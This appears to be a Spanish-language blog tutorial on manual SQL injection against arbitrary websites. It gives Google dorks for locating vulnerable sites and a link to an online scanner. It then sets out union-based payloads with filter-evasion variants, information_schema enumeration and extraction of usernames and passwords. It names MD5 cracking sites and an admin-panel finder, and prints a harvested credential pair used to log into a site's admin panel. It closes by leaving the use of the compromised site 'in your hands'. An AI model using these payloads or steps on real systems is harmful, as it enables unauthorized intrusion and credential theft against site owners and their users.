0
Advertencias, estos datos solo se proveen con fines educativos, el mal uso de los mismos es pura responsabilidad de cada uno.
¿QUE ES INYECCION SQL?
Según Wikipedia: Inyección SQL es un método de infiltración de código intruso que se vale de una vulnerabilidad informática presente en una aplicación en el nivel de validación de las entradas para realizar consultas a una base de datos.
El origen de la vulnerabilidad radica en el incorrecto chequeo y/o filtrado de las variables utilizadas en un programa que contiene, o bien genera, código SQL. Es, de hecho, un error de una clase más general de vulnerabilidades que puede ocurrir en cualquier lenguaje de programación o script que esté embebido dentro de otro.
Se conoce como Inyección SQL, indistintamente, al tipo de vulnerabilidad, al método de infiltración, al hecho de incrustar código SQL intruso y a la porción de código incrustado.
Según OWASP: Un ataque de inyección SQL consiste en la inserción o “inyección” de una consulta SQL a través de los datos de entrada del cliente a la aplicación. El éxito de vulnerabilidad de inyección SQL puede leer los datos sensibles de la base de datos, modificar los datos de base de datos (Insertar / Actualizar / Borrar), ejecutar operaciones de administración de la base de datos (por ejemplo, apagar el DBMS), recuperar el contenido de un presente determinado archivo en el archivo de DBMS sistema y, en algunos casos para ejecutar comandos del sistema operativo. Ataques de inyección SQL son un tipo de ataque de inyección, en el que comandos SQL se inyectan en la entrada de datos plano con el fin de efectuar la ejecución de comandos SQL predefinidas.
Bueno antes de empezar, algo que tenemos que saber es que:
La informacion esta en la columna & la columna estan en las tablas y las tablas estan en la base de datos. Solo recuerda eso y después todo se te hara fácil de entender.
¿Que necesitamos para encontrar sitios vulnerables a Inyección Sql?
Necesitamos algunas Dorks ¿Que es una Dork?
Podríamos definir Dorks como búsquedas avanzadas mediante el uso de operadores complejos que google pone a nuestra disposición, mediante el uso de estas facilidades podemos ahorrarnos el trabajo de buscar vulnerabilidades y dejar que google nos muestra las que encontró y tiene indexadas.
Algunas Dorks:
inurl:index.php?id=
inurl:noticias.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:show.php?id=
inurl:staff_id=
Si colocamos la dork “page.php?pageID=1″ en google nos saldran sitios que contienes ese id como pueden ver en la siguiente imagen:
5654
Ahora escribimos una de esas dork en google, y chequeamos los sitios aver si son vulnerables a inyeccion sql, para eso solo tenemos que añadir un simple ‘ al final de la url del sitio, entonces la url se vera asi http://www.sitio.com/page.php?pageID=1′ y si nos da un error similar a este :
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/refricom/public_html/lib.php on line 186 o este : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘” at line 1
Entonces el sitio es vulnerable como se muestra en la siguiente imagen:
556656
Pero en caso de que no quieran estar googleando aqui les dejo un scaner online que hara su trabajo de buscar los sitios vulnerables: http://hh4ck3r.webcindario.com/sqliscaner.phputilicen el motor de Bing.
Bueno una vez tengamos un sitio vulnerable, lo siguiente que vamos hacer en buscar cuantas columnas tiene el sitio.
BUSCANDO CUANTAS COLUMNAS TIENE EL SITIO
Para buscar cuantas columnas tiene el sitio solo hay que añadir un simple (order by –) y les vamos aumentando los numeros asi (order by 1–) hasta que consiguemos un error.
www.sitio.com/page.php?pageID=1 order by 1– (no error)
www.sitio.com/page.php?pageID=1 order by 2– (no error)
www.sitio.com/page.php?pageID=1 order by 3– (no error)
www.sitio.com/page.php?pageID=1 order by 4– (no error)
www.sitio.com/page.php?pageID=1 order by 5– (error)
El error nos sale en la columna 5 porque que no existe, eso significa que la web tiene 4 columnas.
Ahora hagan lo siguiente con la web: le añadimos un “union select” seguido por los numeros de las columnas separado por una coma.
www.sitio.com/page.php?pageID=1 union select 1,2,3,4–
recuerda siempre poner los guiones –
Tambien aveces tenemos que usar algunos otros operadores en ves de el espacio ejemplo:
www.sitio.com/page.php?pageID=1+union+select+1,2,3,4–
Tambien puede ser
www.sitio.com/page.php?pageID=1/**/union/**/select/**/1,2,3,4–
o
www.sitio.com/page.php?pageID=1%09union%09select%091,2,3,4–
También pueden usar (union select all) en ves de (union select) pero separado por un operador
Tienes que ponerle un guion ( – ) detras del 6 o cualquier numero que sea o si no, solo cambiar el numero por “null” sin comillas, la url deberia verse asi:
www.site.com/page.php?pageID=-1 union select 1,2,3,4–
Debería estar como esta en la siguiente foto:
En este caso solo nos dio un numero.
CONSIGUIENDO LA VERSIÓN DE MySQL Y EL USER ACTUAL
Bueno para conseguir la vercion de MySQL es facil solo tenemos que añadirle lo siguiente en la columna 3 (si les sale mas de un numero, utilesen solo uno, puede ser el que ustedes quieran)
www.site.com/page.php?pageID=-1 union select 1,2,version(),4–
o si no
www.site.com/page.php?pageID=-1 union select 1,2,@@version,4–
Si nos da la version por arriba de 5 es inyectable y si nos da la version por debajo de 5 tenemos que imaginarnos las tablas
Se vera asi como en la siguiente imagen:
56564646
Como podemos ver en la imagen esta en 5, entonces si es inyectable.
Ahora vamos a conseguir el user actual:
Para hacer eso es bien fácil, solo tenemos que escribir “user()” sin comillas en un id inyectable.
La cual la url se vera asi:
www.site.com/page.php?pageID=-1 union select 1,2,user(),4–
CONSIGUIENDO LAS TABLAS
Bueno para buscar las tablas solo cogemos una columna vulnerable, ejemplo la 3 y le añadiré“group_concat(table_name)” sin comillas, o si quieren solo le ponen table_name pero les recomiendo el group_concat(table_name) y despues de todas las columnas (numeros) pondremos“from information_schema.tables” y los guiones por lo que la url se deveria ver asi:
www.sitio.com/page.php?pageID=-1+union+all+select+1,2,group_concat(table_name),4+from+information_schema.tables–
El sitio se vera así, arrojándonos todas las tablas incluso info que no estamos buscando.
65565555555
Ahora queremos esconder esas otras tablas que no nos interesan, para eso solo hay que agregar“where table_schema=database()” y los guiones, por lo que la url deberia verse asi:
www.sitio.com/page.php?pageID=-1+union+all+select+1,2,group_concat(table_name),4+from+information_schema.tables+where+table_schema=database()–
La pagina se debería ver así:
Ahí tenemos las tablas que nos interesan incluyendo la del usuario por lo que de seguro ahí debe de estar el user y pass.
Ahora les mostrare como sacar las columnas de esa tabla.
Para hacer eso solo tenemos que reemplazar “group_concat(table_name)” poner“group_concat(column_name)” sin comillas y despues de los números “where information_schema.columns where table_name=usertbl–”
¿Pero que pasaría si ponemos el nombre de la tabla así normal?
Nos dara un error por lo que la tenemos que cambiar a hex, entonces asi se tendria que ver la url:
http://www.sitio.com/page.php?pageID=-1+union+all+select+1,2,group_concat(column_name),4+from+information_schema.columns+where+table_name=usertbl–
Entonces nos arroja un error, como en la siguiente imagen:
Entonces, tenemos que cambiar el nombre de la columna a hex desde el siguiente convertidor:
La tabla a convertir es usertbl, entonces ya convertida la tabla se vera asi en hex“7573657274626c” sin comillas
Ahora donde dice where table_name=usuarios– sustituimos el nombre de usertbl por el de hex y antes de poner el de hex ponemos “0x” que significa que lo estamos poniendo en hex.
Por lo que la url se deveria ver asi:
http://www.sitio.com/page.php?pageID=-1+union+all+select+1,2,group_concat(column_name),4+from+information_schema.columns+where+table_name=0x7573657274626c–
Resultado:
55555555555
Como pueden ver consegui estas columnas dentro de la tabla:
userID,userName,userPassword
OBTENIENDO INFORMACIÓN DE LAS COLUMNAS
Para este paso solo tenemos que que borrar todo desde las columnas y borrar lo degroup_concat(column_name) y solo poner concat(), entonces la url se vería así:
http://www.sitio.com/page.php?pageID=-1+union+all+select+1,2,concat(),4–
Ahora para sacar la info de las columnas userName y userPassword tenemos que hacer lo siguiente, como ven en concat() dentro de los parentecis tenemos que poner las columnas, ejemplo:
concat(userName,0x3a,userPassword) bueno creo que ya explique para que sirve el 0x , el 0x significa que lo estamos pasando a hex y bueno en este caso estoy pasando a hex 3a que significa estos dos puntos : así que saldra el user separado por los dos puntos y la pass, ejemplo:
usuario:pass
Pero si quieren que la info sea separado por otra cosa, ejemplo por solo ir a editor hex que les deje y convertirlo a hex y cambiarlo por lo de 0x3a y recuerden siempre poner 0x, entonces después de los números ponemos ‘from usertbl’ sin comillas por lo que la url se deveria verse asi:
http://www.sitio.com/page.php?pageID=-1+union+all+select+1,2,concat(userName,0x3a,userPassword),4+from+usertbl–
Y se preguntan porque puse “from usertbl” pues esta facil como pueden ver esas columnas vienen de la tabla usertbl como pueden ver arriba donde dice consiguiendo la tablas hay pueden ver que estas columnas userName & userPassword bienen de esa tabla , por lo que la consulta que estoy haciendo es como si estubiera pidiendo esa informacion de las columnas desde la tabla.
Entonces la pagina quedaria de la siguiente manera:
8686866
DESENCRYPTANDO PASSWORDS EN MD5
En este caso la contreña no esta encriptada pero si se encuentran en el caso de que lo este.
Podemos utilizar algunos decrypters online de md5 como las siguientes paginas:
http://md5decrypter.co.uk/
http://www.stringfunction.com/md5-decrypter.html
http://www.md5decrypt.org/
OBTENIENDO EL PANEL DE CONTROL DEL ADMIN
Ya que tenemos el user y pass que son housedesign123 y ka!X51zckX&V5f7 solo nos faltaría encontrar el panel de administración, para eso necesitamos un admin panel finder, pueden usar este finder online:
Obteniendo el link del panel de administración, solo faltaría logearnos con el userhousedesign123 y pass ka!X51zckX&V5f7
klhhhhjl
& Voila… Ingresamos !
566666666666665555555555
Ahora, solo queda en sus manos lo que quieran hacer con alguna web vulnerable.
Recuerden que este tutorial es para realizar la Inyección SQL manualmente, también existen muchos metodos mas, pueden utilizar algunas herramientas para explotar la misma, pero ya luego estaré hablando sobre eso.
saludos y comenten...

Publicar un comentario

 
Top